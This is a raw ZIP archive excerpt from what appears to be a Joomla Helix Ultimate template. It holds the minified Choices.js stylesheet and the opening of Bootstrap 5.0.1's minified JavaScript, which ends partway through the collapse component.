#bbb}PK!iM
A�%�%$helixultimate/assets/css/choices.cssnu&1i�@charset "UTF-8";.choices{position:relative;margin-bottom:24px;font-size:16px}.choices:focus{outline:0}.choices:last-child{margin-bottom:0}.choices.is-disabled .choices__inner,.choices.is-disabled .choices__input{background-color:#eaeaea;cursor:not-allowed;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.choices.is-disabled .choices__item{cursor:not-allowed}.choices [hidden]{display:none!important}.choices[data-type*=select-one]{cursor:pointer}.choices[data-type*=select-one] .choices__inner{padding-bottom:7.5px}.choices[data-type*=select-one] .choices__input{display:block;width:100%;padding:10px;border-bottom:1px solid #ddd;background-color:#fff;margin:0}.choices[data-type*=select-one] .choices__button{background-image:url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEiIGhlaWdodD0iMjEiIHZpZXdCb3g9IjAgMCAyMSAyMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBmaWxsPSIjMDAwIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGQ9Ik0yLjU5Mi4wNDRsMTguMzY0IDE4LjM2NC0yLjU0OCAyLjU0OEwuMDQ0IDIuNTkyeiIvPjxwYXRoIGQ9Ik0wIDE4LjM2NEwxOC4zNjQgMGwyLjU0OCAyLjU0OEwyLjU0OCAyMC45MTJ6Ii8+PC9nPjwvc3ZnPg==);padding:0;background-size:8px;position:absolute;top:50%;right:0;margin-top:-10px;margin-right:25px;height:20px;width:20px;border-radius:10em;opacity:.5}.choices[data-type*=select-one] .choices__button:focus,.choices[data-type*=select-one] .choices__button:hover{opacity:1}.choices[data-type*=select-one] .choices__button:focus{box-shadow:0 0 0 2px #00bcd4}.choices[data-type*=select-one] .choices__item[data-value=''] .choices__button{display:none}.choices[data-type*=select-one]:after{content:'';height:0;width:0;border-style:solid;border-color:#333 transparent transparent transparent;border-width:5px;position:absolute;right:11.5px;top:50%;margin-top:-2.5px;pointer-events:none}.choices[data-type*=select-one].is-open:after{border-color:transparent transparent #333 transparent;margin-top:-7.5px}.choices[data-type*=select-one][dir=rtl]:after{left:11.5px;right:auto}.choices[data-type*=select-one][dir=rtl] .choices__button{right:auto;left:0;margin-left:25px;margin-right:0}.choices[data-type*=select-multiple] .choices__inner,.choices[data-type*=text] .choices__inner{cursor:text}.choices[data-type*=select-multiple] .choices__button,.choices[data-type*=text] .choices__button{position:relative;display:inline-block;margin-top:0;margin-right:-4px;margin-bottom:0;margin-left:8px;padding-left:16px;border-left:1px solid #008fa1;background-image:url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjEiIGhlaWdodD0iMjEiIHZpZXdCb3g9IjAgMCAyMSAyMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48ZyBmaWxsPSIjRkZGIiBmaWxsLXJ1bGU9ImV2ZW5vZGQiPjxwYXRoIGQ9Ik0yLjU5Mi4wNDRsMTguMzY0IDE4LjM2NC0yLjU0OCAyLjU0OEwuMDQ0IDIuNTkyeiIvPjxwYXRoIGQ9Ik0wIDE4LjM2NEwxOC4zNjQgMGwyLjU0OCAyLjU0OEwyLjU0OCAyMC45MTJ6Ii8+PC9nPjwvc3ZnPg==);background-size:8px;width:8px;line-height:1;opacity:.75;border-radius:0}.choices[data-type*=select-multiple] .choices__button:focus,.choices[data-type*=select-multiple] .choices__button:hover,.choices[data-type*=text] .choices__button:focus,.choices[data-type*=text] .choices__button:hover{opacity:1}.choices__inner{display:inline-block;vertical-align:top;width:100%;background-color:#f9f9f9;padding:7.5px 7.5px 3.75px;border:1px solid #ddd;border-radius:2.5px;font-size:14px;min-height:44px;overflow:hidden}.is-focused .choices__inner,.is-open .choices__inner{border-color:#b7b7b7}.is-open .choices__inner{border-radius:2.5px 2.5px 0 0}.is-flipped.is-open .choices__inner{border-radius:0 0 2.5px 2.5px}.choices__list{margin:0;padding-left:0;list-style:none}.choices__list--single{display:inline-block;padding:4px 16px 4px 4px;width:100%}[dir=rtl] .choices__list--single{padding-right:4px;padding-left:16px}.choices__list--single .choices__item{width:100%}.choices__list--multiple{display:inline}.choices__list--multiple .choices__item{display:inline-block;vertical-align:middle;border-radius:20px;padding:4px 10px;font-size:12px;font-weight:500;margin-right:3.75px;margin-bottom:3.75px;background-color:#00bcd4;border:1px solid #00a5bb;color:#222;word-break:break-all;box-sizing:border-box}.choices__list--multiple .choices__item[data-deletable]{padding-right:5px}[dir=rtl] .choices__list--multiple .choices__item{margin-right:0;margin-left:3.75px}.choices__list--multiple .choices__item.is-highlighted{background-color:#00a5bb;border:1px solid #008fa1}.is-disabled .choices__list--multiple .choices__item{background-color:#aaa;border:1px solid #919191}.choices__list--dropdown{visibility:hidden;z-index:1;position:absolute;width:100%;background-color:#fff;border:1px solid #ddd;top:100%;margin-top:-1px;border-bottom-left-radius:2.5px;border-bottom-right-radius:2.5px;overflow:hidden;word-break:break-all;will-change:visibility}.choices__list--dropdown.is-active{visibility:visible}.is-open .choices__list--dropdown{border-color:#b7b7b7}.is-flipped .choices__list--dropdown{top:auto;bottom:100%;margin-top:0;margin-bottom:-1px;border-radius:.25rem .25rem 0 0}.choices__list--dropdown .choices__list{position:relative;max-height:300px;overflow:auto;-webkit-overflow-scrolling:touch;will-change:scroll-position}.choices__list--dropdown .choices__item{position:relative;padding:10px;font-size:14px}[dir=rtl] .choices__list--dropdown .choices__item{text-align:right}@media (min-width:640px){.choices__list--dropdown .choices__item--selectable{padding-right:100px}.choices__list--dropdown .choices__item--selectable:after{content:attr(data-select-text);font-size:12px;opacity:0;position:absolute;right:10px;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}[dir=rtl] .choices__list--dropdown .choices__item--selectable{text-align:right;padding-left:100px;padding-right:10px}[dir=rtl] .choices__list--dropdown .choices__item--selectable:after{right:auto;left:10px}}.choices__list--dropdown .choices__item--selectable.is-highlighted{background-color:#f2f2f2}.choices__list--dropdown .choices__item--selectable.is-highlighted:after{opacity:.5}.choices__item{cursor:default}.choices__item--selectable{cursor:pointer}.choices__item--disabled{cursor:not-allowed;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;opacity:.5}.choices__heading{font-weight:600;font-size:12px;padding:10px;border-bottom:1px solid #f7f7f7;color:gray}.choices__button{text-indent:-9999px;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:0;background-color:transparent;background-repeat:no-repeat;background-position:center;cursor:pointer}.choices__button:focus{outline:0}.choices__input{display:inline-block;vertical-align:baseline;background-color:#f9f9f9;font-size:14px;margin-bottom:5px;border:0;border-radius:0;max-width:100%;padding:4px 0 4px 2px}.choices__input:focus{outline:0}[dir=rtl] .choices__input{padding-right:2px;padding-left:0}.choices__placeholder{opacity:.5}.choices{border:0;border-radius:.25rem}.choices:hover{cursor:pointer}.choices.is-focused{box-shadow:0 0 0 .2rem rgba(0,0,0,.1)}.choices__inner{padding:.4rem 1rem;margin-bottom:0;font-size:1rem;border:solid 1px #ced4da;border-radius:.25rem;box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.is-focused .choices__inner{border-color:#000}.choices__input{padding:0;margin-bottom:0;font-size:1rem;background-color:transparent}.choices__input::-moz-placeholder{color:#484f56;opacity:1}.choices__input::-webkit-input-placeholder{color:#484f56;opacity:1}.choices__list--dropdown{z-index:1060}.choices__list--multiple .choices__item{position:relative;margin:2px;background-color:var(--cassiopeia-color-primary);-webkit-margin-end:2px;margin-inline-end:2px;border:0;border-radius:.25rem}.choices__list--multiple .choices__item.is-highlighted{background-color:var(--cassiopeia-color-primary);opacity:.9}.choices .choices__list--dropdown .choices__item{-webkit-padding-end:10px;padding-inline-end:10px}.choices .choices__list--dropdown .choices__item--selectable::after{display:none}.choices__button_joomla{position:relative;padding:0 10px;color:inherit;text-indent:-9999px;cursor:pointer;background:0 0;border:0;opacity:.5;-webkit-appearance:none;-moz-appearance:none;appearance:none}.choices__button_joomla::before{position:absolute;top:0;right:0;bottom:0;left:0;display:block;text-align:center;text-indent:0;content:'×'}.choices__button_joomla:focus,.choices__button_joomla:hover{opacity:1}.choices__button_joomla:focus{outline:0}.choices[data-type*=select-multiple] .choices__inner,.choices[data-type*=select-one] .choices__inner{-webkit-padding-end:3rem;padding-inline-end:3rem;cursor:pointer;background:url(../images/select-bg.svg) no-repeat 100%/116rem;background-color:#eaedf0}[dir=rtl] .choices[data-type*=select-multiple] .choices__inner,[dir=rtl] .choices[data-type*=select-one] .choices__inner{background:url(../images/select-bg-rtl.svg) no-repeat 0/116rem;background-color:#eaedf0}.choices[data-type*=select-one] .choices__item{display:flex;justify-content:space-between}.choices[data-type*=select-one] .choices__button_joomla{position:absolute;top:50%;right:0;width:20px;height:20px;padding:0;margin-top:-10px;margin-right:50px;border-radius:10em;opacity:.5}[dir=rtl] .choices[data-type*=select-one] .choices__button_joomla{right:auto;left:0;margin-right:0;margin-left:50px}.choices[data-type*=select-one] .choices__button_joomla:focus,.choices[data-type*=select-one] .choices__button_joomla:hover{opacity:1}.choices[data-type*=select-one] .choices__button_joomla:focus{box-shadow:0 0 0 2px #00bcd4}.choices[data-type*=select-one]::after{display:none}.choices[data-type*=select-multiple] .choices__input,.choices[data-type*=text] .choices__input{padding:.2rem 0}.choices__heading{font-size:1.2rem}PK!���p����(helixultimate/assets/js/bootstrap.min.jsnu&1i�/*!
  * Bootstrap v5.0.1 (https://getbootstrap.com/)
  * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE)
  */
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap=e(t.Popper)}(this,(function(t){"use strict";function e(t){if(t&&t.__esModule)return t;var e=Object.create(null);return t&&Object.keys(t).forEach((function(s){if("default"!==s){var i=Object.getOwnPropertyDescriptor(t,s);Object.defineProperty(e,s,i.get?i:{enumerable:!0,get:function(){return t[s]}})}})),e.default=t,Object.freeze(e)}var s=e(t);const i={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter(t=>t.matches(e)),parents(t,e){const s=[];let i=t.parentNode;for(;i&&i.nodeType===Node.ELEMENT_NODE&&3!==i.nodeType;)i.matches(e)&&s.push(i),i=i.parentNode;return s},prev(t,e){let s=t.previousElementSibling;for(;s;){if(s.matches(e))return[s];s=s.previousElementSibling}return[]},next(t,e){let s=t.nextElementSibling;for(;s;){if(s.matches(e))return[s];s=s.nextElementSibling}return[]}},n=t=>{do{t+=Math.floor(1e6*Math.random())}while(document.getElementById(t));return t},o=t=>{let e=t.getAttribute("data-bs-target");if(!e||"#"===e){let s=t.getAttribute("href");if(!s||!s.includes("#")&&!s.startsWith("."))return null;s.includes("#")&&!s.startsWith("#")&&(s="#"+s.split("#")[1]),e=s&&"#"!==s?s.trim():null}return e},r=t=>{const e=o(t);return e&&document.querySelector(e)?e:null},a=t=>{const e=o(t);return e?document.querySelector(e):null},l=t=>{if(!t)return 0;let{transitionDuration:e,transitionDelay:s}=window.getComputedStyle(t);const i=Number.parseFloat(e),n=Number.parseFloat(s);return i||n?(e=e.split(",")[0],s=s.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(s))):0},c=t=>{t.dispatchEvent(new Event("transitionend"))},h=t=>!(!t||"object"!=typeof t)&&(void 0!==t.jquery&&(t=t[0]),void 0!==t.nodeType),d=t=>h(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?i.findOne(t):null,u=(t,e)=>{let s=!1;const i=e+5;t.addEventListener("transitionend",(function e(){s=!0,t.removeEventListener("transitionend",e)})),setTimeout(()=>{s||c(t)},i)},g=(t,e,s)=>{Object.keys(s).forEach(i=>{const n=s[i],o=e[i],r=o&&h(o)?"element":null==(a=o)?""+a:{}.toString.call(a).match(/\s([a-z]+)/i)[1].toLowerCase();var a;if(!new RegExp(n).test(r))throw new TypeError(`${t.toUpperCase()}: Option "${i}" provided type "${r}" but expected type "${n}".`)})},f=t=>{if(!t)return!1;if(t.style&&t.parentNode&&t.parentNode.style){const e=getComputedStyle(t),s=getComputedStyle(t.parentNode);return"none"!==e.display&&"none"!==s.display&&"hidden"!==e.visibility}return!1},p=t=>!t||t.nodeType!==Node.ELEMENT_NODE||!!t.classList.contains("disabled")||(void 0!==t.disabled?t.disabled:t.hasAttribute("disabled")&&"false"!==t.getAttribute("disabled")),m=t=>{if(!document.documentElement.attachShadow)return null;if("function"==typeof t.getRootNode){const e=t.getRootNode();return e instanceof ShadowRoot?e:null}return t instanceof ShadowRoot?t:t.parentNode?m(t.parentNode):null},_=()=>{},b=t=>t.offsetHeight,v=()=>{const{jQuery:t}=window;return t&&!document.body.hasAttribute("data-bs-no-jquery")?t:null},y=()=>"rtl"===document.documentElement.dir,w=t=>{var e;e=()=>{const e=v();if(e){const s=t.NAME,i=e.fn[s];e.fn[s]=t.jQueryInterface,e.fn[s].Constructor=t,e.fn[s].noConflict=()=>(e.fn[s]=i,t.jQueryInterface)}},"loading"===document.readyState?document.addEventListener("DOMContentLoaded",e):e()},E=t=>{"function"==typeof t&&t()},T=new Map;var A={set(t,e,s){T.has(t)||T.set(t,new Map);const i=T.get(t);i.has(e)||0===i.size?i.set(e,s):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Array.from(i.keys())[0]}.`)},get:(t,e)=>T.has(t)&&T.get(t).get(e)||null,remove(t,e){if(!T.has(t))return;const s=T.get(t);s.delete(e),0===s.size&&T.delete(t)}};const k=/[^.]*(?=\..*)\.|.*/,L=/\..*/,C=/::\d+$/,D={};let N=1;const S={mouseenter:"mouseover",mouseleave:"mouseout"},O=/^(mouseenter|mouseleave)/i,I=new Set(["click","dblclick","mouseup","mousedown","contextmenu","mousewheel","DOMMouseScroll","mouseover","mouseout","mousemove","selectstart","selectend","keydown","keypress","keyup","orientationchange","touchstart","touchmove","touchend","touchcancel","pointerdown","pointermove","pointerup","pointerleave","pointercancel","gesturestart","gesturechange","gestureend","focus","blur","change","reset","select","submit","focusin","focusout","load","unload","beforeunload","resize","move","DOMContentLoaded","readystatechange","error","abort","scroll"]);function x(t,e){return e&&`${e}::${N++}`||t.uidEvent||N++}function j(t){const e=x(t);return t.uidEvent=e,D[e]=D[e]||{},D[e]}function P(t,e,s=null){const i=Object.keys(t);for(let n=0,o=i.length;n<o;n++){const o=t[i[n]];if(o.originalHandler===e&&o.delegationSelector===s)return o}return null}function M(t,e,s){const i="string"==typeof e,n=i?s:e;let o=B(t);return I.has(o)||(o=t),[i,n,o]}function H(t,e,s,i,n){if("string"!=typeof e||!t)return;if(s||(s=i,i=null),O.test(e)){const t=t=>function(e){if(!e.relatedTarget||e.relatedTarget!==e.delegateTarget&&!e.delegateTarget.contains(e.relatedTarget))return t.call(this,e)};i?i=t(i):s=t(s)}const[o,r,a]=M(e,s,i),l=j(t),c=l[a]||(l[a]={}),h=P(c,r,o?s:null);if(h)return void(h.oneOff=h.oneOff&&n);const d=x(r,e.replace(k,"")),u=o?function(t,e,s){return function i(n){const o=t.querySelectorAll(e);for(let{target:r}=n;r&&r!==this;r=r.parentNode)for(let a=o.length;a--;)if(o[a]===r)return n.delegateTarget=r,i.oneOff&&$.off(t,n.type,e,s),s.apply(r,[n]);return null}}(t,s,i):function(t,e){return function s(i){return i.delegateTarget=t,s.oneOff&&$.off(t,i.type,e),e.apply(t,[i])}}(t,s);u.delegationSelector=o?s:null,u.originalHandler=r,u.oneOff=n,u.uidEvent=d,c[d]=u,t.addEventListener(a,u,o)}function R(t,e,s,i,n){const o=P(e[s],i,n);o&&(t.removeEventListener(s,o,Boolean(n)),delete e[s][o.uidEvent])}function B(t){return t=t.replace(L,""),S[t]||t}const $={on(t,e,s,i){H(t,e,s,i,!1)},one(t,e,s,i){H(t,e,s,i,!0)},off(t,e,s,i){if("string"!=typeof e||!t)return;const[n,o,r]=M(e,s,i),a=r!==e,l=j(t),c=e.startsWith(".");if(void 0!==o){if(!l||!l[r])return;return void R(t,l,r,o,n?s:null)}c&&Object.keys(l).forEach(s=>{!function(t,e,s,i){const n=e[s]||{};Object.keys(n).forEach(o=>{if(o.includes(i)){const i=n[o];R(t,e,s,i.originalHandler,i.delegationSelector)}})}(t,l,s,e.slice(1))});const h=l[r]||{};Object.keys(h).forEach(s=>{const i=s.replace(C,"");if(!a||e.includes(i)){const e=h[s];R(t,l,r,e.originalHandler,e.delegationSelector)}})},trigger(t,e,s){if("string"!=typeof e||!t)return null;const i=v(),n=B(e),o=e!==n,r=I.has(n);let a,l=!0,c=!0,h=!1,d=null;return o&&i&&(a=i.Event(e,s),i(t).trigger(a),l=!a.isPropagationStopped(),c=!a.isImmediatePropagationStopped(),h=a.isDefaultPrevented()),r?(d=document.createEvent("HTMLEvents"),d.initEvent(n,l,!0)):d=new CustomEvent(e,{bubbles:l,cancelable:!0}),void 0!==s&&Object.keys(s).forEach(t=>{Object.defineProperty(d,t,{get:()=>s[t]})}),h&&d.preventDefault(),c&&t.dispatchEvent(d),d.defaultPrevented&&void 0!==a&&a.preventDefault(),d}};class z{constructor(t){(t=d(t))&&(this._element=t,A.set(this._element,this.constructor.DATA_KEY,this))}dispose(){A.remove(this._element,this.constructor.DATA_KEY),$.off(this._element,this.constructor.EVENT_KEY),Object.getOwnPropertyNames(this).forEach(t=>{this[t]=null})}_queueCallback(t,e,s=!0){if(!s)return void E(t);const i=l(e);$.one(e,"transitionend",()=>E(t)),u(e,i)}static getInstance(t){return A.get(t,this.DATA_KEY)}static get VERSION(){return"5.0.1"}static get NAME(){throw new Error('You have to implement the static method "NAME", for each component!')}static get DATA_KEY(){return"bs."+this.NAME}static get EVENT_KEY(){return"."+this.DATA_KEY}}class U extends z{static get NAME(){return"alert"}close(t){const e=t?this._getRootElement(t):this._element,s=this._triggerCloseEvent(e);null===s||s.defaultPrevented||this._removeElement(e)}_getRootElement(t){return a(t)||t.closest(".alert")}_triggerCloseEvent(t){return $.trigger(t,"close.bs.alert")}_removeElement(t){t.classList.remove("show");const e=t.classList.contains("fade");this._queueCallback(()=>this._destroyElement(t),t,e)}_destroyElement(t){t.parentNode&&t.parentNode.removeChild(t),$.trigger(t,"closed.bs.alert")}static jQueryInterface(t){return this.each((function(){let e=A.get(this,"bs.alert");e||(e=new U(this)),"close"===t&&e[t](this)}))}static handleDismiss(t){return function(e){e&&e.preventDefault(),t.close(this)}}}$.on(document,"click.bs.alert.data-api",'[data-bs-dismiss="alert"]',U.handleDismiss(new U)),w(U);class q extends z{static get NAME(){return"button"}toggle(){this._element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){let e=A.get(this,"bs.button");e||(e=new q(this)),"toggle"===t&&e[t]()}))}}function F(t){return"true"===t||"false"!==t&&(t===Number(t).toString()?Number(t):""===t||"null"===t?null:t)}function W(t){return t.replace(/[A-Z]/g,t=>"-"+t.toLowerCase())}$.on(document,"click.bs.button.data-api",'[data-bs-toggle="button"]',t=>{t.preventDefault();const e=t.target.closest('[data-bs-toggle="button"]');let s=A.get(e,"bs.button");s||(s=new q(e)),s.toggle()}),w(q);const K={setDataAttribute(t,e,s){t.setAttribute("data-bs-"+W(e),s)},removeDataAttribute(t,e){t.removeAttribute("data-bs-"+W(e))},getDataAttributes(t){if(!t)return{};const e={};return Object.keys(t.dataset).filter(t=>t.startsWith("bs")).forEach(s=>{let i=s.replace(/^bs/,"");i=i.charAt(0).toLowerCase()+i.slice(1,i.length),e[i]=F(t.dataset[s])}),e},getDataAttribute:(t,e)=>F(t.getAttribute("data-bs-"+W(e))),offset(t){const e=t.getBoundingClientRect();return{top:e.top+document.body.scrollTop,left:e.left+document.body.scrollLeft}},position:t=>({top:t.offsetTop,left:t.offsetLeft})},V={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0,touch:!0},Q={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean",touch:"boolean"},X="next",Y="prev",G="left",Z="right";class J extends z{constructor(t,e){super(t),this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this.touchStartX=0,this.touchDeltaX=0,this._config=this._getConfig(e),this._indicatorsElement=i.findOne(".carousel-indicators",this._element),this._touchSupported="ontouchstart"in document.documentElement||navigator.maxTouchPoints>0,this._pointerEvent=Boolean(window.PointerEvent),this._addEventListeners()}static get Default(){return V}static get NAME(){return"carousel"}next(){this._isSliding||this._slide(X)}nextWhenVisible(){!document.hidden&&f(this._element)&&this.next()}prev(){this._isSliding||this._slide(Y)}pause(t){t||(this._isPaused=!0),i.findOne(".carousel-item-next, .carousel-item-prev",this._element)&&(c(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null}cycle(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config&&this._config.interval&&!this._isPaused&&(this._updateInterval(),this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))}to(t){this._activeElement=i.findOne(".active.carousel-item",this._element);const e=this._getItemIndex(this._activeElement);if(t>this._items.length-1||t<0)return;if(this._isSliding)return void $.one(this._element,"slid.bs.carousel",()=>this.to(t));if(e===t)return this.pause(),void this.cycle();const s=t>e?X:Y;this._slide(s,this._items[t])}_getConfig(t){return t={...V,...t},g("carousel",t,Q),t}_handleSwipe(){const t=Math.abs(this.touchDeltaX);if(t<=40)return;const e=t/this.touchDeltaX;this.touchDeltaX=0,e&&this._slide(e>0?Z:G)}_addEventListeners(){this._config.keyboard&&$.on(this._element,"keydown.bs.carousel",t=>this._keydown(t)),"hover"===this._config.pause&&($.on(this._element,"mouseenter.bs.carousel",t=>this.pause(t)),$.on(this._element,"mouseleave.bs.carousel",t=>this.cycle(t))),this._config.touch&&this._touchSupported&&this._addTouchEventListeners()}_addTouchEventListeners(){const t=t=>{!this._pointerEvent||"pen"!==t.pointerType&&"touch"!==t.pointerType?this._pointerEvent||(this.touchStartX=t.touches[0].clientX):this.touchStartX=t.clientX},e=t=>{this.touchDeltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this.touchStartX},s=t=>{!this._pointerEvent||"pen"!==t.pointerType&&"touch"!==t.pointerType||(this.touchDeltaX=t.clientX-this.touchStartX),this._handleSwipe(),"hover"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout(t=>this.cycle(t),500+this._config.interval))};i.find(".carousel-item img",this._element).forEach(t=>{$.on(t,"dragstart.bs.carousel",t=>t.preventDefault())}),this._pointerEvent?($.on(this._element,"pointerdown.bs.carousel",e=>t(e)),$.on(this._element,"pointerup.bs.carousel",t=>s(t)),this._element.classList.add("pointer-event")):($.on(this._element,"touchstart.bs.carousel",e=>t(e)),$.on(this._element,"touchmove.bs.carousel",t=>e(t)),$.on(this._element,"touchend.bs.carousel",t=>s(t)))}_keydown(t){/input|textarea/i.test(t.target.tagName)||("ArrowLeft"===t.key?(t.preventDefault(),this._slide(Z)):"ArrowRight"===t.key&&(t.preventDefault(),this._slide(G)))}_getItemIndex(t){return this._items=t&&t.parentNode?i.find(".carousel-item",t.parentNode):[],this._items.indexOf(t)}_getItemByOrder(t,e){const s=t===X,i=t===Y,n=this._getItemIndex(e),o=this._items.length-1;if((i&&0===n||s&&n===o)&&!this._config.wrap)return e;const r=(n+(i?-1:1))%this._items.length;return-1===r?this._items[this._items.length-1]:this._items[r]}_triggerSlideEvent(t,e){const s=this._getItemIndex(t),n=this._getItemIndex(i.findOne(".active.carousel-item",this._element));return $.trigger(this._element,"slide.bs.carousel",{relatedTarget:t,direction:e,from:n,to:s})}_setActiveIndicatorElement(t){if(this._indicatorsElement){const e=i.findOne(".active",this._indicatorsElement);e.classList.remove("active"),e.removeAttribute("aria-current");const s=i.find("[data-bs-target]",this._indicatorsElement);for(let e=0;e<s.length;e++)if(Number.parseInt(s[e].getAttribute("data-bs-slide-to"),10)===this._getItemIndex(t)){s[e].classList.add("active"),s[e].setAttribute("aria-current","true");break}}}_updateInterval(){const t=this._activeElement||i.findOne(".active.carousel-item",this._element);if(!t)return;const e=Number.parseInt(t.getAttribute("data-bs-interval"),10);e?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=e):this._config.interval=this._config.defaultInterval||this._config.interval}_slide(t,e){const s=this._directionToOrder(t),n=i.findOne(".active.carousel-item",this._element),o=this._getItemIndex(n),r=e||this._getItemByOrder(s,n),a=this._getItemIndex(r),l=Boolean(this._interval),c=s===X,h=c?"carousel-item-start":"carousel-item-end",d=c?"carousel-item-next":"carousel-item-prev",u=this._orderToDirection(s);if(r&&r.classList.contains("active"))return void(this._isSliding=!1);if(this._triggerSlideEvent(r,u).defaultPrevented)return;if(!n||!r)return;this._isSliding=!0,l&&this.pause(),this._setActiveIndicatorElement(r),this._activeElement=r;const g=()=>{$.trigger(this._element,"slid.bs.carousel",{relatedTarget:r,direction:u,from:o,to:a})};if(this._element.classList.contains("slide")){r.classList.add(d),b(r),n.classList.add(h),r.classList.add(h);const t=()=>{r.classList.remove(h,d),r.classList.add("active"),n.classList.remove("active",d,h),this._isSliding=!1,setTimeout(g,0)};this._queueCallback(t,n,!0)}else n.classList.remove("active"),r.classList.add("active"),this._isSliding=!1,g();l&&this.cycle()}_directionToOrder(t){return[Z,G].includes(t)?y()?t===G?Y:X:t===G?X:Y:t}_orderToDirection(t){return[X,Y].includes(t)?y()?t===Y?G:Z:t===Y?Z:G:t}static carouselInterface(t,e){let s=A.get(t,"bs.carousel"),i={...V,...K.getDataAttributes(t)};"object"==typeof e&&(i={...i,...e});const n="string"==typeof e?e:i.slide;if(s||(s=new J(t,i)),"number"==typeof e)s.to(e);else if("string"==typeof n){if(void 0===s[n])throw new TypeError(`No method named "${n}"`);s[n]()}else i.interval&&i.ride&&(s.pause(),s.cycle())}static jQueryInterface(t){return this.each((function(){J.carouselInterface(this,t)}))}static dataApiClickHandler(t){const e=a(this);if(!e||!e.classList.contains("carousel"))return;const s={...K.getDataAttributes(e),...K.getDataAttributes(this)},i=this.getAttribute("data-bs-slide-to");i&&(s.interval=!1),J.carouselInterface(e,s),i&&A.get(e,"bs.carousel").to(i),t.preventDefault()}}$.on(document,"click.bs.carousel.data-api","[data-bs-slide], [data-bs-slide-to]",J.dataApiClickHandler),$.on(window,"load.bs.carousel.data-api",()=>{const t=i.find('[data-bs-ride="carousel"]');for(let e=0,s=t.length;e<s;e++)J.carouselInterface(t[e],A.get(t[e],"bs.carousel"))}),w(J);const tt={toggle:!0,parent:""},et={toggle:"boolean",parent:"(string|element)"};class st extends z{constructor(t,e){super(t),this._isTransitioning=!1,this._config=this._getConfig(e),this._triggerArray=i.find(`[data-bs-toggle="collapse"][href="#${this._element.id}"],[data-bs-toggle="collapse"][data-bs-target="#${this._element.id}"]`);const s=i.find('[data-bs-toggle="collapse"]');for(let t=0,e=s.length;t<e;t++){const e=s[t],n=r(e),o=i.find(n).filter(t=>t===this._element);null!==n&&o.length&&(this._selector=n,this._triggerArray.push(e))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}static get Default(){return tt}static get NAME(){return"collapse"}toggle(){this._element.classList.contains("show")?this.hide():this.show()}show(){if(this._isTransitioning||this._element.classList.contains("show"))return;let t,e;this._parent&&(t=i.find(".show, .collapsing",this._parent).filter(t=>"string"==typeof this._config.parent?t.getAttribute("data-bs-parent")===this._config.parent:t.classList.contains("collapse")),0===t.length&&(t=null));const s=i.findOne(this._selector);if(t){const i=t.find(t=>s!==t);if(e=i?A.get(i,"bs.collapse"):null,e&&e._isTransitioning)return}if($.trigger(this._element,"show.bs.collapse").defaultPrevented)return;t&&t.forEach(t=>{s!==t&&st.collapseInterface(t,"hide"),e||A.set(t,"bs.collapse",null)});const n=this._getDimension();this._element.classList.remove("collapse"),this._element.classList.add("collapsing"),this._element.style[n]=0,this._triggerArray.length&&this._triggerArray.forEach(t=>{t.classList.remove("collapsed"),t.setAttribute("aria-expanded",!0)}),this.setTransitioning(!0);const o="scroll"+(n[0].toUpperCase()+n.slice(1));this._queueCallback(()=>{this._element.classList.remove("collapsing"),this._element.classList.add("collapse","show"),this._element.style[n]="",this.setTransitioning(!1),$.trigger(this._element,"shown.bs.collapse")},this._element,!0),this._element.style[n]=this._element[o]+"px"}hide(){if(this._isTransitioning||!this._element.classList.contains("show"))return;if($.trigger(this._element,"hide.bs.collapse").defaultPrevented)return;const t=this._getDimension();this._element.style[t]=this._element.getBoundingClientRect()[t]+"px",b(this._element),this._element.classList.add("collapsing"),this._element.classList.remove("collapse","show");const e=this._triggerArray.length;if(e>0)for(let t=0;t<e;t++){const e=this._triggerArray[t],s=a(e);s&&!s.classList.contains("show")&&(e.classList.add("collapsed"),e.setAttribute("aria-expanded",!1))}this.setTransitioning(!0),this._element.style[t]="",this._queueCallback(()=>{this.setTransitioning(!1),this._element.classList.remove("collapsing"),this._element.classList.add("collapse"),$.trigger(this._element,"hidden.bs.collapse")},this._element,!0)}setTransitioning(t){this._isTransitioning=t}_getConfig(t){return(t={...tt,...t}).toggle=Boolean(t.toggle),g("collapse",t,et),t}_getDimension(){return this._element.classList.contains("width")?"width":"height"}_getParent(){let{parent:t}=this._config;t=d(t);const e=`[data-bs-toggle="collapse"][data-bs-parent="${t}"]`;return 